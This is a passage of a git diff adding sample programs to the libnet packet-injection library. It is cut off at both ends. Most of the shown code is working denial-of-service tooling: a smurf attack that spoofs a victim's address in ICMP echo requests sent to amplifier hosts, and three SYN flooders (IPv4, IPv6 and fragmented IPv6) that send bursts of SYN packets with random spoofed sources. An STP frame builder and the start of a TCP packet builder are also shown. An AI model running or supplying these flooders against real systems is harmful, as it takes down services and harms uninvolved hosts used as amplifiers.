(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +void usage(char *); + + +int +main(int argc, char **argv) +{ + libnet_t *l = NULL; + u_long target_ip = 0, ampli_ip = 0; + u_long count = 10; + int i, c; + libnet_ptag_t t; + + char *device = NULL; + char *pTarget = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + char label[LIBNET_LABEL_SIZE]; + + printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n"); + + while((c = getopt(argc, argv, "t:i:c:")) != EOF) + { + switch (c) + { + case 't': + pTarget = optarg; + break; + case 'i': + device = optarg; + break; + case 'c': + count = strtoul(optarg, 0, 10); + break; + } + } + + if (optind == argc) { + fprintf(stderr, "No amplifier given.\n"); + usage(argv[0]); + exit (EXIT_FAILURE); + } + + if (!pTarget) { + fprintf(stdout, "No target given.\n"); + usage(argv[0]); + exit (EXIT_FAILURE); + } + + if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad target IP address: %s\n", pTarget); + exit(EXIT_FAILURE); + } + + /* Create a context for each amplifier */ + for (i = 0; optind < argc; optind++) { + + printf ("Adding amplifier %s\n", argv[optind]); + + l = libnet_init( + LIBNET_RAW4, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]); + exit(1); + } + + /* build the packet */ + t = libnet_build_icmpv4_echo( + ICMP_ECHO, /* type */ + 0, /* code */ + 0, /* checksum */ + 0x42, /* id */ + 0x42, /* sequence number */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */ + 0, /* TOS */ + 0x42, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + target_ip, /* source IP */ + ampli_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* and finally, put it in the arena */ + snprintf(label, sizeof(label)-1, "echo%d", i); + if (libnet_cq_add(l, label) == -1) + { + fprintf(stderr, "add error: %s\n", libnet_geterror(l)); + goto bad; + } + } /* for (optind < argc) */ + + + /* Attaaaaaaaaaack */ + for_each_context_in_cq(l) { + /* + * Write it to the wire. + */ + for (i = 0; i<count; i++) { + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } + } + } + + + libnet_cq_destroy(); + return (EXIT_SUCCESS); +bad: + libnet_cq_destroy(); + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/stp.c b/libnet/sample/stp.c new file mode 100644 index 0000000..16498b3 --- /dev/null +++ b/libnet/sample/stp.c @@ -0,0 +1,227 @@ +/* + * $Id: stp.c,v 1.3 2004/01/21 19:01:29 mike Exp $ + * + * libnet 1.1 + * Build an STP frame + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +#define CONF 1 +#define TCN 2 + +int +main(int argc, char *argv[]) +{ + int c, len, type; + libnet_t *l; + libnet_ptag_t t; + u_char *dst, *src; + u_char rootid[8], bridgeid[8]; + char *device = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: [STP]\n"); + + device = NULL; + src = dst = NULL; + type = CONF; + while ((c = getopt(argc, argv, "cd:i:s:t")) != EOF) + { + switch (c) + { + case 'c': + type = CONF; + break; + case 'd': + dst = libnet_hex_aton(optarg, &len); + break; + case 'i': + device = optarg; + break; + case 's': + src = libnet_hex_aton(optarg, &len); + break; + case 't': + type = TCN; + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if (src == NULL || dst == NULL) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + if (type == CONF) + { + rootid[0] = 0x80; + rootid[1] = 0x00; + rootid[2] = 0x00; + rootid[3] = 0x07; + rootid[4] = 0xec; + rootid[5] = 0xae; + rootid[6] = 0x30; + rootid[7] = 0x41; + + bridgeid[0] = 0x80; + bridgeid[1] = 0x00; + bridgeid[2] = 0x00; + bridgeid[3] = 0x07; + bridgeid[4] = 0xec; + bridgeid[5] = 0xae; + bridgeid[6] = 0x30; + bridgeid[7] = 0x41; + + t = libnet_build_stp_conf( + 0x0000, /* protocol id */ + 0x00, /* protocol version */ + 0x00, /* BPDU type */ + 0x00, /* BPDU flags */ + rootid, /* root id */ + 0x00000001, /* root path cost */ + bridgeid, /* bridge id */ + 0x8002, /* port id */ + 0x00, /* message age */ + 0x0014, /* max age */ + 0x0002, /* hello time */ + 0x000f, /* forward delay */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build STP conf header: %s\n", + libnet_geterror(l)); + goto bad; + } + } + else + { + t = libnet_build_stp_tcn( + 0x0000, /* protocol id */ + 0x00, /* protocol version */ + 0x80, /* BPDU type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build STP tcn header: %s\n", + libnet_geterror(l)); + goto bad; + } + } + + t = libnet_build_802_2( + LIBNET_SAP_STP, /* DSAP */ + LIBNET_SAP_STP, /* SSAP */ + 0x03, /* control */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + + t = libnet_build_802_3( + dst, /* ethernet destination */ + src, /* ethernet source */ + LIBNET_802_2_H + ((type == CONF) ? LIBNET_STP_CONF_H : + LIBNET_STP_TCN_H), /* frame size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + /* + * Write it to the wire. + */ + c = libnet_write(l); + + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte STP packet; check the wire.\n", c); + } + free(dst); + free(src); + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + free(dst); + free(src); + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage %s -d dst -s src -t -c [-i interface]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/synflood.c b/libnet/sample/synflood.c new file mode 100644 index 0000000..e3fe8b5 --- /dev/null +++ b/libnet/sample/synflood.c @@ -0,0 +1,200 @@ +/* + * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $ + * + * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com> + * SYN flooder rewritten for no good reason. Again as libnet test module. + * Again for libnet 1.1. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv4_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + u_long dst_ip = 0; + u_long src_ip = 0; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t t; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, c, packet_amt, burst_int, burst_amt, build_ip; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + + printf("libnet 1.1 syn flooding: TCP[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 't': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1) + { + fprintf(stderr, "Bad IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if (!dst_prt || !dst_ip || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + libnet_seed_prand(l); + + for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + t = libnet_build_tcp( + src_prt = libnet_get_prand(LIBNET_PRu16), + dst_prt, + libnet_get_prand(LIBNET_PRu32), + libnet_get_prand(LIBNET_PRu32), + TH_SYN, + libnet_get_prand(LIBNET_PRu16), + 0, + 0, + LIBNET_TCP_H, + NULL, + 0, + l, + t); + + if (build_ip) + { + build_ip = 0; + libnet_build_ipv4( + LIBNET_TCP_H + LIBNET_IPV4_H, + 0, + libnet_get_prand(LIBNET_PRu16), + 0, + libnet_get_prand(LIBNET_PR8), + IPPROTO_TCP, + 0, + src_ip = libnet_get_prand(LIBNET_PRu32), + dst_ip, + NULL, + 0, + l, + 0); + } + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + printf("%15s:%5d ------> %15s:%5d\n", + libnet_addr2name4(src_ip, 1), + ntohs(src_prt), + libnet_addr2name4(dst_ip, 1), + dst_prt); + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip.address.port: 192.168.2.6.23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ diff --git a/libnet/sample/synflood6.c b/libnet/sample/synflood6.c new file mode 100644 index 0000000..be7ab11 --- /dev/null +++ b/libnet/sample/synflood6.c @@ -0,0 +1,208 @@ +/* + * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $ + * + * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com> + * SYN flooder rewritten for no good reason. Again as libnet test module. + * Again for libnet 1.1. + * All rights reserved. + * + * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv6_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + struct libnet_in6_addr dst_ip; + struct libnet_in6_addr src_ip; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t t; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, c, packet_amt, burst_int, burst_amt, build_ip; + char srcname[100],dstname[100]; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + + printf("libnet 1.1 syn flooding: TCP6[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW6, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + case 't': + if (!(cp = strrchr(optarg, '/'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + dst_ip = libnet_name2addr6(l, optarg, 1); + if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0) + { + fprintf(stderr, "Bad IP6 address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); + /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); + dst_prt = 113; + dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); + packet_amt = 1;*/ + + if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + + libnet_seed_prand(l); + libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname)); + libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname)); + + for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + char payload[56]; + int i; + for (i=0; i<56; i++) payload[i]='A'+((char)(i%26)); + t = libnet_build_tcp( + src_prt = libnet_get_prand(LIBNET_PRu16), + dst_prt, + libnet_get_prand(LIBNET_PRu32), + libnet_get_prand(LIBNET_PRu32), + TH_SYN, + libnet_get_prand(LIBNET_PRu16), + 0, + 0, + LIBNET_TCP_H, + NULL, + 0, + l, + t); + + if (build_ip) + { + build_ip = 0; + printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload)); + libnet_build_ipv6(0,0, + LIBNET_TCP_H, + IPPROTO_TCP, + 64, + src_ip, + dst_ip, + NULL, + 0, + l, + 0); + } + printf("%15s/%5d -> %15s/%5d\n", + srcname, + ntohs(src_prt), + dstname, + dst_prt); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip6:address/port, e.g. ::1/23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ diff --git a/libnet/sample/synflood6_frag.c b/libnet/sample/synflood6_frag.c new file mode 100644 index 0000000..54e2aab --- /dev/null +++ b/libnet/sample/synflood6_frag.c @@ -0,0 +1,234 @@ +/* + * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $ + * + * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com> + * SYN flooder rewritten for no good reason. Again as libnet test module. + * Again for libnet 1.1. + * All rights reserved. + * + * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv6_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + struct libnet_in6_addr dst_ip; + struct libnet_in6_addr src_ip; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t tcp, ip, ip_frag; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, j, c, packet_amt, burst_int, burst_amt; + char srcname[100], dstname[100]; + u_int8_t payload[56]; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER; + + printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n"); + + l = libnet_init( + LIBNET_RAW6, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + case 't': + if (!(cp = strrchr(optarg, '/'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + dst_ip = libnet_name2addr6(l, optarg, 1); + if (strncmp((char*)&dst_ip, + (char*)&in6addr_error,sizeof(in6addr_error))==0) + { + fprintf(stderr, "Bad IPv6 address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); + /* src_ip = libnet_name2addr6(l, + "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); + dst_prt = 113; + dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); + packet_amt = 1; + */ + + if (!dst_prt || strncmp((char*)&dst_ip, + (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + libnet_seed_prand(l); + libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname)); + libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname)); + + for(; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26)); + + tcp = libnet_build_tcp( + src_prt = libnet_get_prand(LIBNET_PRu16), + dst_prt, + libnet_get_prand(LIBNET_PRu32), + libnet_get_prand(LIBNET_PRu32), + TH_SYN, + libnet_get_prand(LIBNET_PRu16), + 0, + 0, + LIBNET_TCP_H, + NULL, + 0, + l, + tcp); + if (tcp == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + ip_frag = libnet_build_ipv6_frag( + IPPROTO_TCP, /* next header */ + 0, /* reserved */ + 0, /* frag bits */ + 1, /* ip id */ + NULL, + 0, + l, + ip_frag); + if (ip_frag == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + ip = libnet_build_ipv6( + 0, 0, + LIBNET_TCP_H, + IPPROTO_TCP, + 64, + src_ip, + dst_ip, + NULL, + 0, + l, + ip); + if (ip == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + printf("%15s/%5d -> %15s/%5d\n", + srcname, + ntohs(src_prt), + dstname, + dst_prt); + + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip6:address/port, e.g. ::1/23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ diff --git a/libnet/sample/tcp1.c b/libnet/sample/tcp1.c new file mode 100644 index 0000000..4253cf6 --- /dev/null +++ b/libnet/sample/tcp1.c @@ -0,0 +1,227 @@ +/* + * $Id: tcp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $ + * + * libnet 1.1 + * Build a TCP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP + options[link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + 